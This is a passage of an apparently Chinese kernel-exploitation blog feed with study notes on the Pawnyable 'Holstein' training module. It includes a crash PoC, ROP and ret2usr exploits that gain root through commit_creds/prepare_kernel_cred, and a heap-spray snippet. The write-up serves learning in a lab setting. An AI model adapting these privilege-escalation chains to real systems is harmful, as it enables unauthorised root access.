class="type">size_t</span> val)</span></span><br><span class="line">&#123;</span><br><span class="line">        <span class="type">unsigned</span> <span class="type">long</span> gadget = KASLR_BASE + <span class="number">0x477f7</span>;</span><br><span class="line">        p = (<span class="type">unsigned</span> <span class="type">long</span>*)&amp;buf;</span><br><span class="line">        p[<span class="number">0xc</span>] = gadget;</span><br><span class="line">        *(<span class="type">unsigned</span> <span class="type">long</span>*)&amp;buf[<span class="number">0x418</span>] = g_buf;</span><br><span class="line">        write(fd, buf, <span class="number">0x420</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">100</span>; i++)</span><br><span class="line">                ioctl(spray[i], val, add);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>同理，找到有效gadget，AAR如下</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure></div><h3 id="修改usermode-helpers提权"><a href="#修改usermode-helpers提权" class="headerlink" title="修改usermode_helpers提权"></a>修改usermode_helpers提权</h3><h3 id="修改cred结构体提权"><a href="#修改cred结构体提权" class="headerlink" title="修改cred结构体提权"></a>修改cred结构体提权</h3>]]>
    </content>
    <id>https://staticccccccc.github.io/2024/09/01/kernel%20pwn/Pawnyable(2)%20-%20Heap%20Overflow/</id>
    <link href="https://staticccccccc.github.io/2024/09/01/kernel%20pwn/Pawnyable(2)%20-%20Heap%20Overflow/"/>
    <published>2024-09-01T12:15:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>本系列文章记录笔者在跟随Pawnable学习Kernel Pwn过程中的一些问题与学到的东西。本文是该系列的第二篇文章。</p>
<h2 i]]>
    </summary>
    <title>Pawnable笔记（二）之 Heap Overflow</title>
    <updated>2024-09-01T12:15:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="kernel pwn" scheme="https://staticccccccc.github.io/categories/kernel-pwn/"/>
    <category term="old_article" scheme="https://staticccccccc.github.io/tags/old-article/"/>
    <content>
      <![CDATA[<h2 id="🐾What’s-Pawnyable-🐾"><a href="#🐾What’s-Pawnyable-🐾" class="headerlink" title="🐾What’s Pawnyable?🐾"></a><strong>🐾What’s Pawnyable?🐾</strong></h2><p>Pawnyableは、中〜上級者がpwn(Binary Exploitation)を勉強するための資料です。</p><p>站点地址：<a class="link"   href="https://pawnyable.cafe/linux-kernel/" >Linux Kernel Exploitation | PAWNYABLE!<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>本系列文章记录笔者在跟随Pawnable学习Kernel Pwn过程中的一些问题与学到的东西。本文是该系列的第一篇文章。</p><h2 id="确保文件系统正常启动"><a href="#确保文件系统正常启动" class="headerlink" title="确保文件系统正常启动"></a>确保文件系统正常启动</h2><p>下载LK-01，若重打包后出现报错，使用sudo打包运行即可。</p><h2 id="使具有-root-权限"><a href="#使具有-root-权限" class="headerlink" title="使具有 root 权限"></a>使具有 root 权限</h2><p>在<code>init</code>脚本中加入<code>exec setsid /bin/cttyhack setuidgid 0 /bin/sh</code>(需要在最后一行启动shell之前写入，这种方法似乎不会执行<code>/etc/init.d/rcS</code>脚本，建议采取下一种方法)</p><div class="code-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">!/bin/sh</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">devtmpfs does not get automounted <span class="keyword">for</span> initramfs</span></span><br><span class="line">/bin/mount -t devtmpfs devtmpfs /dev</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">use the /dev/console device node from devtmpfs <span class="keyword">if</span> possible to not</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">confuse glibc<span class="string">&#x27;s ttyname_r().</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="string">This may fail (E.G. booted with console=), and errors from exec will</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="string">terminate the shell, so use a subshell for the test</span></span></span><br><span class="line">if (exec 0&lt;/dev/console) 2&gt;/dev/null; then</span><br><span class="line">    exec 0&lt;/dev/console</span><br><span class="line">    exec 1&gt;/dev/console</span><br><span class="line">    exec 2&gt;/dev/console</span><br><span class="line">fi</span><br><span class="line"></span><br><span class="line">exec setsid /bin/cttyhack setuidgid 0 /bin/sh</span><br><span class="line">exec /sbin/init &quot;$@&quot;</span><br></pre></td></tr></table></figure></div><p>也可以修改<code>/etc/init.d/S99pawnyable</code>，该脚本由<code>/etc/init.d/rcS</code>调用，而<code>/etc/init.d/rcS</code>在系统启动时由<code>/sbin/init</code>程序启动</p><p>修改<code>/etc/init.d/S99pawnyable</code>中<code>setsid cttyhack setuidgid 1337 sh</code>的1337改为0即可</p><h2 id="比较commit-creds函数的rdi"><a href="#比较commit-creds函数的rdi" class="headerlink" title="比较commit_creds函数的rdi"></a>比较commit_creds函数的rdi</h2><ul><li><h3 id="root用户"><a href="#root用户" class="headerlink" title="root用户"></a>root用户</h3></li></ul><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/16gx 0xffff88800328e500</span><br><span class="line">0xffff88800328e500:0x00000000000000010x0000000000000000</span><br><span class="line">0xffff88800328e510:0x00000000000000000x0000000000000000</span><br><span class="line">0xffff88800328e520:0x00000000000000000x0000000000000000</span><br><span class="line">0xffff88800328e530:0x000001ffffffffff0x000001ffffffffff</span><br><span class="line">0xffff88800328e540:0x000001ffffffffff0x0000000000000000</span><br><span class="line">0xffff88800328e550:0xffffffff81e32b000xffffffff81e32b80</span><br><span class="line">0xffff88800328e560:0xffff888002d205100x0000000000000000</span><br><span class="line">0xffff88800328e570:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure></div><ul><li><h3 id="普通用户（uid-1337"><a href="#普通用户（uid-1337" class="headerlink" title="普通用户（uid&#x3D;1337"></a>普通用户（uid&#x3D;1337</h3></li></ul><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/16gx 0xffff888003175b80</span><br><span class="line">0xffff888003175b80:0x00000539000000010x0000000000000539</span><br><span class="line">0xffff888003175b90:0x00000000000005390x0000000000000539</span><br><span class="line">0xffff888003175ba0:0x00000000000005390x0000000000000000</span><br><span class="line">0xffff888003175bb0:0x000001ffffffffff0x000001ffffffffff</span><br><span class="line">0xffff888003175bc0:0x000001ffffffffff0x0000000000000000</span><br><span class="line">0xffff888003175bd0:0xffff8880031755000xffffffff81e32b80</span><br><span class="line">0xffff888003175be0:0xffff888002d205100x0000000000000000</span><br><span class="line">0xffff888003175bf0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure></div><p>rdi为传入给<code>commit_creds</code>函数的cred结构体地址，cred结构体如下（kernel version: v5.11）</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">cred</span> &#123;</span></span><br><span class="line"><span class="type">atomic_t</span>usage;</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> CONFIG_DEBUG_CREDENTIALS</span></span><br><span class="line"><span class="type">atomic_t</span>subscribers;<span class="comment">/* number of processes subscribed */</span></span><br><span class="line"><span class="type">void</span>*put_addr;</span><br><span class="line"><span class="type">unsigned</span>magic;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> CRED_MAGIC0x43736564</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> CRED_MAGIC_DEAD0x44656144</span></span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"><span class="type">kuid_t</span>uid;<span class="comment">/* real UID of the task */</span></span><br><span class="line"><span class="type">kgid_t</span>gid;<span class="comment">/* real GID of the task */</span></span><br><span class="line"><span class="type">kuid_t</span>suid;<span class="comment">/* saved UID of the task */</span></span><br><span class="line"><span class="type">kgid_t</span>sgid;<span class="comment">/* saved GID of the task */</span></span><br><span class="line"><span class="type">kuid_t</span>euid;<span class="comment">/* effective UID of the task */</span></span><br><span class="line"><span class="type">kgid_t</span>egid;<span class="comment">/* effective GID of the task */</span></span><br><span class="line"><span class="type">kuid_t</span>fsuid;<span class="comment">/* UID for VFS ops */</span></span><br><span class="line"><span class="type">kgid_t</span>fsgid;<span class="comment">/* GID for VFS ops */</span></span><br><span class="line"><span class="type">unsigned</span>securebits;<span class="comment">/* SUID-less security management */</span></span><br><span class="line">...</span><br><span class="line">        </span><br><span class="line">&#125; __randomize_layout;</span><br></pre></td></tr></table></figure></div><p>结构体中不同的部分实际上就是用户的id不同</p><h2 id="安全机制"><a href="#安全机制" class="headerlink" title="安全机制"></a>安全机制</h2><ul><li>查看<code>run.sh</code></li></ul><div class="code-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">!/bin/sh</span></span><br><span class="line">qemu-system-x86_64 \</span><br><span class="line">    -m 64M \</span><br><span class="line">    -nographic \</span><br><span class="line">    -kernel bzImage \</span><br><span class="line">    -append &quot;console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr&quot; \</span><br><span class="line">    -no-reboot \</span><br><span class="line">    -cpu qemu64 \</span><br><span class="line">    -smp 1 \</span><br><span class="line">    -monitor /dev/null \</span><br><span class="line">    -initrd rootfs_updated.cpio \</span><br><span class="line">    -net nic,model=virtio \</span><br><span class="line">    -net user</span><br></pre></td></tr></table></figure></div><p>​    未开启kpti，且nokaslr，smap和smep也未开启</p><ul><li><p>修改<code>run.sh</code>中的<code>-cpu qemu64</code>为<code>-cpu qemu,+smep,+smap</code>即可开启</p></li><li><p>执行<code>head /proc/kallsyms</code>，得到如下地址，则基地址为<code>ffffffff81000000</code>(此时KADR未开启)</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">/ # head /proc/kallsyms </span><br><span class="line">ffffffff81000000 T startup_64</span><br><span class="line">ffffffff81000000 T _stext</span><br><span class="line">ffffffff81000000 T _text</span><br><span class="line">ffffffff81000040 T secondary_startup_64</span><br><span class="line">ffffffff81000045 T secondary_startup_64_no_verify</span><br><span class="line">ffffffff81000110 t verify_cpu</span><br><span class="line">ffffffff81000210 T sev_verify_cbit</span><br><span class="line">ffffffff81000220 T start_cpu0</span><br><span class="line">ffffffff81000230 T __startup_64</span><br><span class="line">ffffffff810005e0 T startup_64_setup_env</span><br></pre></td></tr></table></figure></div></li></ul><h2 id="模块漏洞与触发"><a href="#模块漏洞与触发" class="headerlink" title="模块漏洞与触发"></a>模块漏洞与触发</h2><ul><li><code>module_read</code>中存在越界读取</li><li><code>module_write</code>中存在越界写入，栈溢出</li><li><code>module_close</code>中存在UAF</li></ul><h3 id="栈溢出漏洞的简单触发POC"><a href="#栈溢出漏洞的简单触发POC" class="headerlink" title="栈溢出漏洞的简单触发POC"></a><strong>栈溢出漏洞的简单触发POC</strong></h3><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="type">int</span> fd = open(<span class="string">&quot;/dev/holstein&quot;</span>, <span class="number">2</span>);</span><br><span class="line"><span class="keyword">if</span>(fd == <span class="number">-1</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;模块打开失败！\n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">char</span> buf[<span class="number">0x500</span>];</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x500</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">buf[i] = <span class="string">&#x27;A&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">write(fd, buf, <span class="number">0x500</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>运行后产生<code>kernel panic</code></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">RIP: 0010:0x4141414141414141</span><br><span class="line">Code: Unable to access opcode bytes at RIP 0x4141414141414117.</span><br><span class="line">RSP: 0018:ffffc9000046beb8 EFLAGS: 00000202</span><br><span class="line">RAX: 0000000000000500 RBX: ffff888003169100 RCX: 0000000000000000</span><br><span class="line">RDX: 000000000000007f RSI: ffffc9000046bea8 RDI: ffff888003299400</span><br><span class="line">RBP: 4141414141414141 R08: 4141414141414141 R09: 4141414141414141</span><br><span class="line">R10: 4141414141414141 R11: 4141414141414141 R12: 0000000000000500</span><br><span class="line">R13: 0000000000000000 R14: 00007ffca658d210 R15: ffffc9000046bef8</span><br><span class="line">FS:  0000000000405678(0000) GS:ffff888003800000(0000) knlGS:0000000000000000</span><br><span class="line">CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033</span><br><span class="line">CR2: 0000000000403000 CR3: 000000000327e000 CR4: 00000000000006f0</span><br><span class="line">Kernel panic - not syncing: Fatal exception</span><br><span class="line">Kernel Offset: disabled</span><br></pre></td></tr></table></figure></div><h2 id="stack-overflow"><a href="#stack-overflow" class="headerlink" title="stack-overflow"></a>stack-overflow</h2><h3 id="常规rop"><a href="#常规rop" class="headerlink" title="常规rop"></a>常规rop</h3><p><code>commit_creds(prepare_kernel_cred(NULL))</code>提权，<code>no kaslr</code>  <code>no kpti</code>  <code>no smep</code>  <code>no smap</code>，事实上，如果加入<code>smep/smap</code>保护，该exp仍能执行，因为该过程中并未在内核态下执行和访问用户态数据</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">//0xffffffff8160c96b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> swapgs 0xffffffff8160bf7e</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> iretq 0xffffffff810202af</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> mov_rdi_rax_ret 0xffffffff8160c96b</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> pop_rcx_ret 0xffffffff812ea083</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> prepare_kernel_cred 0xffffffff8106e240</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> commit_creds 0xffffffff8106e390</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> pop_rdi 0xffffffff8127bbdc</span></span><br><span class="line"></span><br><span class="line"><span class="type">size_t</span> user_cs, user_ss, user_rflags, user_sp;</span><br><span class="line"><span class="type">void</span> <span class="title function_">saveStatus</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    __asm__(<span class="string">&quot;mov user_cs, cs;&quot;</span></span><br><span class="line">            <span class="string">&quot;mov user_ss, ss;&quot;</span></span><br><span class="line">            <span class="string">&quot;mov user_sp, rsp;&quot;</span></span><br><span class="line">            <span class="string">&quot;pushf;&quot;</span></span><br><span class="line">            <span class="string">&quot;pop user_rflags;&quot;</span></span><br><span class="line">            );</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[34m\033[1m[*] Status has been saved.\033[0m&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* root checker and shell poper */</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">get_root_shell</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span>(getuid()) &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;\033[31m\033[1m[x] Failed to get the root!\033[0m&quot;</span>);</span><br><span class="line">        sleep(<span class="number">5</span>);</span><br><span class="line">        <span class="built_in">exit</span>(EXIT_FAILURE);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[32m\033[1m[+] Successful to get the root. \033[0m&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[34m\033[1m[*] Execve root shell now...\033[0m&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/* to exit the process normally, instead of segmentation fault */</span></span><br><span class="line">    <span class="built_in">exit</span>(EXIT_SUCCESS);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">saveStatus();</span><br><span class="line"><span class="type">int</span> fd = open(<span class="string">&quot;/dev/holstein&quot;</span>, <span class="number">2</span>);</span><br><span class="line"><span class="keyword">if</span>(fd == <span class="number">-1</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Module holstein open error!\n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> i;</span><br><span class="line"><span class="type">long</span> rop_chain[<span class="number">0x100</span>];</span><br><span class="line"><span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; <span class="number">0x81</span>; i++)</span><br><span class="line">rop_chain[i] = <span class="number">0</span>;</span><br><span class="line">rop_chain[i++] = pop_rdi;</span><br><span class="line">rop_chain[i++] = <span class="number">0</span>;</span><br><span class="line">rop_chain[i++] = prepare_kernel_cred;</span><br><span class="line">rop_chain[i++] = pop_rcx_ret;</span><br><span class="line">rop_chain[i++] = <span class="number">0</span>;</span><br><span class="line">rop_chain[i++] = mov_rdi_rax_ret;</span><br><span class="line">rop_chain[i++] = commit_creds;</span><br><span class="line">rop_chain[i++] = swapgs;</span><br><span class="line">rop_chain[i++] = iretq;</span><br><span class="line">rop_chain[i++] = (<span class="type">long</span>)get_root_shell;</span><br><span class="line">rop_chain[i++] = user_cs;</span><br><span class="line">rop_chain[i++] = user_rflags;</span><br><span class="line">rop_chain[i++] = user_sp;</span><br><span class="line">rop_chain[i++] = user_ss;</span><br><span class="line"></span><br><span class="line">write(fd, rop_chain, <span class="number">0x500</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="ret2usr"><a href="#ret2usr" class="headerlink" title="ret2usr"></a>ret2usr</h3><p>只是把rop中的<code>commit_creds(prepare_kernel_cred(NULL))</code>放到了用户代码中，在加入<code>smep/smap</code>保护后，产生错误。但事实上<code>smap/smep</code>保护是可以绕过的，因为该保护由CR4寄存器控制</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i.loli.net/2021/09/07/sYFKuZiUVNIclBp.png"                      alt="image.png"                ></p><p>如图，只要我们能修改CR4寄存器的第20，21位为0则可以关闭该保护（在该挑战绕过过程中，我发现似乎没有可用的gadget来对cr4寄存器进行修改，因此只好作罢</p><blockquote><p>但如果加入了KPTI保护，那么ret2usr便无法成功，<strong>对于开启了 KPTI 的内核而言，内核页表的用户地址空间无执行权限</strong>，因此当内核尝试执行用户空间代码时，由于对应页顶级表项没有设置可执行位，因此会直接 panic</p></blockquote><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">//0xffffffff8160c96b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> swapgs 0xffffffff8160bf7e</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> iretq 0xffffffff810202af</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> mov_rdi_rax_ret 0xffffffff8160c96b</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> pop_rcx_ret 0xffffffff812ea083</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> prepare_kernel_cred 0xffffffff8106e240</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> commit_creds 0xffffffff8106e390</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> pop_rdi 0xffffffff8127bbdc</span></span><br><span class="line"></span><br><span class="line"><span class="type">size_t</span> user_cs, user_ss, user_rflags, user_sp;</span><br><span class="line"><span class="type">void</span> <span class="title function_">saveStatus</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    __asm__(<span class="string">&quot;mov user_cs, cs;&quot;</span></span><br><span class="line">            <span class="string">&quot;mov user_ss, ss;&quot;</span></span><br><span class="line">            <span class="string">&quot;mov user_sp, rsp;&quot;</span></span><br><span class="line">            <span class="string">&quot;pushf;&quot;</span></span><br><span class="line">            <span class="string">&quot;pop user_rflags;&quot;</span></span><br><span class="line">            );</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[34m\033[1m[*] Status has been saved.\033[0m&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* root checker and shell poper */</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">get_root_shell</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span>(getuid()) &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;\033[31m\033[1m[x] Failed to get the root!\033[0m&quot;</span>);</span><br><span class="line">        sleep(<span class="number">5</span>);</span><br><span class="line">        <span class="built_in">exit</span>(EXIT_FAILURE);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[32m\033[1m[+] Successful to get the root. \033[0m&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[34m\033[1m[*] Execve root shell now...\033[0m&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span 